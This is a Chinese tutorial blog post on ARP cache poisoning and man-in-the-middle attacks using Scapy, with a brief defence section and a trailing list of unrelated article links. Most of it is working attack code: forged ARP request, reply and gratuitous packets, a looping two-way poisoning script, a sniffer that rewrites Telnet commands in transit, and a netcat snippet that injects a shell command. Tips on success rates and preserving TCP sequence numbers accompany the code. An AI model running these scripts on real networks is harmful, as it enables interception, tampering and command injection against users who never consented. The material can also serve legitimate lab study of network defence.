当前位置: 首页 > news >正文

Scapy实战:从ARP缓存投毒到中间人攻击的攻防演练

1. ARP协议与缓存投毒原理剖析

ARP(Address Resolution Protocol)是局域网通信的基础协议,它的作用就像现实生活中的电话簿,负责将IP地址转换成对应的MAC地址。每台设备都维护着一个ARP缓存表,记录着最近通信过的设备信息。这个机制本是为了提高通信效率,但却成为了攻击者的突破口。

ARP协议的工作流程很简单:当主机A需要与主机B通信时,会先查询本地ARP缓存。如果找不到对应条目,就会广播一个ARP请求:"谁的IP是192.168.1.2?请告诉192.168.1.1"。目标主机收到后会单播回复:"我是192.168.1.2,我的MAC是xx:xx:xx:xx:xx"。这个过程没有任何身份验证机制,就像在大街上随便问个人"你是张三吗",只要对方说"是",你就会相信。

ARP缓存投毒就是利用这个缺陷。攻击者可以伪造ARP响应包,告诉受害者:"我是网关,我的MAC是攻击者的MAC"。这样受害者就会把本该发给网关的数据都发给攻击者。我在实验室环境中做过测试,一个简单的ARP欺骗包就能让目标主机在毫秒级更新缓存。

用Scapy构造ARP包特别简单,核心字段就这几个:

  • op:1表示请求,2表示响应
  • psrc/pdst:源/目标IP
  • hwsrc/hwdst:源/目标MAC

比如构造一个欺骗包:

from scapy.all import * pkt = Ether(dst="ff:ff:ff:ff:ff:ff")/ARP( op=2, psrc="192.168.1.1", # 假装是网关 pdst="192.168.1.100", # 目标主机 hwsrc="00:11:22:33:44:55" # 攻击者MAC ) sendp(pkt)

2. 实战ARP缓存投毒的三重奏

2.1 普通ARP请求攻击

这是最基础的攻击方式。攻击者发送ARP请求包,在包中声明"我是网关"。虽然ARP请求本应是询问而非声明,但很多系统会不假思索地更新缓存。实测发现Windows 10和部分Linux发行版会中招。

攻击代码:

pkt = Ether(dst="ff:ff:ff:ff:ff:ff")/ARP( op=1, # 请求包 psrc="192.168.1.1", pdst="192.168.1.100", hwsrc="00:11:22:33:44:55" )

但这种攻击有个致命弱点:如果目标缓存中已有正确条目,攻击成功率会大幅下降。我在测试中发现成功率不足30%,因为系统会优先相信已有的缓存。

2.2 ARP响应包攻击

相比请求包,响应包更具欺骗性。攻击者主动告诉目标:"网关的MAC更新了"。代码只需将op改为2:

pkt = Ether(dst="ff:ff:ff:ff:ff:ff")/ARP( op=2, # 响应包 psrc="192.168.1.1", pdst="192.168.1.100", hwsrc="00:11:22:33:44:55" )

但这里有个有趣现象:如果目标根本没有查询过这个IP,攻击反而会失败。因为系统会觉得"我又没问你,你干嘛告诉我"。这就像突然有人打电话跟你说"我是快递员",但你根本没网购,自然会产生怀疑。

2.3 免费ARP攻击

这是最阴险的一招。免费ARP本是用于IP冲突检测的,攻击者广播声明:"我是我自己",但把MAC改成攻击者的:

pkt = Ether(dst="ff:ff:ff:ff:ff:ff")/ARP( op=1, psrc="192.168.1.1", pdst="192.168.1.1", # 源目IP相同 hwsrc="00:11:22:33:44:55" )

这种攻击对已有缓存的目标特别有效,因为系统会认为这是正常的地址更新。我的测试显示成功率高达95%以上。但要注意,如果目标没有该IP的缓存,攻击同样会失效。

3. 搭建中间人攻击实战环境

3.1 实验环境配置

建议使用三台虚拟机:

  • 攻击机(Kali Linux):运行Scapy脚本
  • 受害机A(Windows 10):安装Wireshark观察流量
  • 受害机B(Ubuntu):运行telnet/netcat服务

网络配置要点:

  1. 所有机器在同一局域网段(如192.168.1.0/24)
  2. 关闭防火墙和SELinux
  3. 在攻击机上启用IP转发:
echo 1 > /proc/sys/net/ipv4/ip_forward

3.2 双向ARP欺骗

要让中间人攻击持久生效,需要同时欺骗通信双方:

from time import sleep def arp_poison(): while True: # 告诉A,攻击者是B sendp(Ether()/ARP(op=2, psrc="192.168.1.2", pdst="192.168.1.100", hwsrc="00:11:22:33:44:55")) # 告诉B,攻击者是A sendp(Ether()/ARP(op=2, psrc="192.168.1.100", pdst="192.168.1.2", hwsrc="00:11:22:33:44:55")) sleep(5) # 每5秒刷新一次

这个脚本需要持续运行,因为ARP缓存会定期更新(通常2-5分钟)。我在测试中发现,间隔时间太短会导致网络拥塞,太长又会让攻击失效,5秒是个不错的平衡点。

4. 实时流量劫持与篡改

4.1 Telnet会话劫持

Telnet是明文协议,特别适合演示中间人攻击。攻击流程:

  1. 建立双向ARP欺骗
  2. 启用IP转发让通信建立
  3. 嗅探并修改流量

关键代码:

def spoof_pkt(pkt): if pkt.haslayer(TCP) and pkt.haslayer(Raw): # 修改A->B的流量 if pkt[IP].src == "192.168.1.100" and pkt[IP].dst == "192.168.1.2": data = pkt[TCP].payload.load newdata = data.replace(b"ls", b"xx") # 把ls命令替换成xx newpkt = pkt[IP]/pkt[TCP]/Raw(load=newdata) del newpkt[IP].chksum del newpkt[TCP].chksum send(newpkt, verbose=0) # 原样转发B->A的流量 elif pkt[IP].src == "192.168.1.2" and pkt[IP].dst == "192.168.1.100": send(pkt, verbose=0) sniff(filter="tcp port 23", prn=spoof_pkt)

4.2 Netcat会话注入

Netcat常用于文件传输,攻击者可以注入额外命令:

if b"password" in data: newdata = data + b"\n echo 'Hacked!' > /tmp/pwned\n"

我在测试中发现一个坑:TCP序列号必须严格匹配。如果修改后的包长度变化太大,会导致连接中断。解决方法是在payload中保持长度一致,比如用空格填充。

5. 防御措施与检测方法

5.1 静态ARP绑定

最有效的防御是在关键设备上设置静态ARP条目:

arp -s 192.168.1.1 00:11:22:33:44:66

但维护成本很高,适合网关等固定设备。

5.2 ARP监控工具

推荐两个实用工具:

  1. arpwatch:记录ARP变化并报警
  2. XArp:图形化显示ARP异常

5.3 网络隔离

划分VLAN可以限制ARP广播范围。比如把财务部和普通员工隔离开,这样即使有ARP欺骗,影响范围也有限。

5.4 加密通信

使用SSH代替Telnet,HTTPS代替HTTP。即使流量被劫持,攻击者也无法解密内容。我在内网渗透测试时发现,加密通道能让90%的中间人攻击失效。

http://www.jsqmd.com/news/667535/

相关文章:

  • 零代码调用Unet预训练模型【Pytorch实战】【即开即用】
  • WindowResizer:轻松解决Windows窗口调整难题的终极工具
  • 5步高效配置LXMusic开源音源:专业级音乐播放解决方案
  • Qt/C++ 信号阻塞的RAII实践:QSignalBlocker的进阶用法与场景剖析
  • 从结构到实战:深度解析Xilinx Transceiver的ibert自测与性能验证
  • 【JAVA基础面经】线程安全的List
  • [CTF实战]从数字密文到Flag:Base与凯撒的联合破译
  • killall报no process found?先别急,用ps aux | grep查查进程名到底叫啥
  • 用STM32和PID算法,我给自己做了个可调压调流的桌面数控电源(附完整代码)
  • 从空气动力学到代码:Matlab仿真揭秘风机Pm-Wm动态关系
  • 别再死磕教材了!用Protege 5.5.0手把手教你构建第一个知识图谱本体(附避坑指南)
  • UE5——动画混合实战:从原理到高级应用
  • 网络工程师必看:GFP帧结构中的校验(CRC)与加扰到底在防什么?
  • PCB安规设计实战:从理论到Layout的爬电距离与电气间隙精准把控
  • 树莓派4B接口实战:用GPIO控制LED灯,USB连接外设的完整教程
  • Qwen3.5-9B Java八股文深度学习:源码级理解与高频面试题破解
  • Mybatis日志框架实战:从SLF4J门面到Log4j2配置详解
  • Altium Designer 21导入HFSS的DXF文件后,图层混乱、边框不对?看这篇就够了
  • LeetCode 139. 单词拆分:动态规划经典入门题
  • 大气层整合包系统架构解析与深度优化指南
  • DevEco Studio:快速生成一个类的构造函数
  • 告别乱码与格式之争:在Visual Studio C++项目中全面启用UTF-8与.editorconfig
  • 如何用Microsoft PICT在30分钟内生成高质量组合测试用例?提升测试效率的实战指南
  • 当注意力机制遇上全局工作空间理论:MITDeepMind联合推演的AGI意识涌现临界点(精确到10⁻⁴秒级时序建模)
  • 别再只盯着准确率了!用Python的sklearn搞定多分类模型的macro与micro F1-score计算
  • 别再踩坑了!Android 10+ 保存图片到相册的完整流程与权限处理(附完整代码)
  • DevEco Studio:快速生成getter和setter方法
  • 高效解决图表数据提取难题:WebPlotDigitizer完整实战指南
  • 金蝶云单据下推进阶:复杂子单据体与基础数据的精准转换
  • 告别高精地图:用RoadMap和AVP-SLAM的语义地图思路,低成本搞定自动驾驶定位